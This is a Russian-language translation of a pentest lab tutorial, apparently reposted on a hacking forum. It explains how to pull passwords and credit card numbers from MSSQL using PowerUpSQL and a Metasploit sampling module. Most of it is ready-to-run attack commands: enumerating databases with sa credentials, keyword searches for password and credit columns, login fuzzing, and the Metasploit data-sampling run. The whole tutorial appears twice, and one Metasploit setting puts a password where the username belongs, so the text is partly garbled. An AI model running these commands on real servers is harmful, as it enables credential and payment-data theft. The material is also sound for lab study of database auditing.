В этом посте вы узнаете, как с помощью powerupsql и mssql извлекать конфиденциальную информацию об образцах, хранящуюся в mssql. В нашей предыдущей статье мы упоминали инструменты и методы, которые можно использовать для разведки экземпляров MSSQL.
Установка лабы
Следуйте статье по установке MSSQL Lab и загрузите PowerupSQL с Github https://github.com/NetSPI/PowerUpSQL . PowerUpSQL включает функции, которые поддерживают обнаружение SQL Server, аудит слабой конфигурации, повышение привилегий в масштабе и пост-эксплуатацию, такие как выполнение команд ОС.
Чтобы перечислить интересную информацию, создадим базу данных, таблицы и записи.
create database bank;
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');
Извлечение имени базы данных
Вы можете использовать приведенную ниже команду, чтобы получить список всех доступных баз данных SQL Server.
Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -verbose | select -ExpandProperty DatabaseName
Извлечение информации из базы данных
Приведенный ниже сценарий использует эту переменную для поиска на всех доступных серверах SQL имен столбцов таблицы базы данных, содержащих заданные ключевые слова.
Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
Извлечение логина в базу данных
Этот модуль будет получать имена входа в SQL Server на основе идентификатора входа с использованием SUSER_NAME() и только роли Public.
Import-Module .\PowerUpSQL
Get-SQLFuzzServerLogin -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -verbose
Metasploit
Этот сценарий будет искать во всех базах данных SQL Server, отличных от заданных по умолчанию, столбцы, соответствующие ключевым словам, определенным в параметре TSQL KEYWORDS. Если найдены имена столбцов, которые соответствуют определенным ключевым словам, и данные присутствуют в связанных таблицах, сценарий выберет образец записей из каждой из затронутых таблиц. Размер выборки определяется параметром SAMPLE_SIZE и выводится в формате CSV.
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.146
set username Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-extracting-juicy-information/
Установка лабы
Следуйте статье по установке MSSQL Lab и загрузите PowerupSQL с Github https://github.com/NetSPI/PowerUpSQL . PowerUpSQL включает функции, которые поддерживают обнаружение SQL Server, аудит слабой конфигурации, повышение привилегий в масштабе и пост-эксплуатацию, такие как выполнение команд ОС.
Чтобы перечислить интересную информацию, создадим базу данных, таблицы и записи.
create database bank;
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard) VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');
Извлечение имени базы данных
Вы можете использовать приведенную ниже команду, чтобы получить список всех доступных баз данных SQL Server.
Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -verbose | select -ExpandProperty DatabaseName
Извлечение информации из базы данных
Приведенный ниже сценарий использует эту переменную для поиска на всех доступных серверах SQL имен столбцов таблицы базы данных, содержащих заданные ключевые слова.
Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
Извлечение логина в базу данных
Этот модуль будет получать имена входа в SQL Server на основе идентификатора входа с использованием SUSER_NAME() и только роли Public.
Import-Module .\PowerUpSQL
Get-SQLFuzzServerLogin -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -verbose
Metasploit
Этот сценарий будет искать во всех базах данных SQL Server, отличных от заданных по умолчанию, столбцы, соответствующие ключевым словам, определенным в параметре TSQL KEYWORDS. Если найдены имена столбцов, которые соответствуют определенным ключевым словам, и данные присутствуют в связанных таблицах, сценарий выберет образец записей из каждой из затронутых таблиц. Размер выборки определяется параметром SAMPLE_SIZE и выводится в формате CSV.
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.146
set username Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-extracting-juicy-information/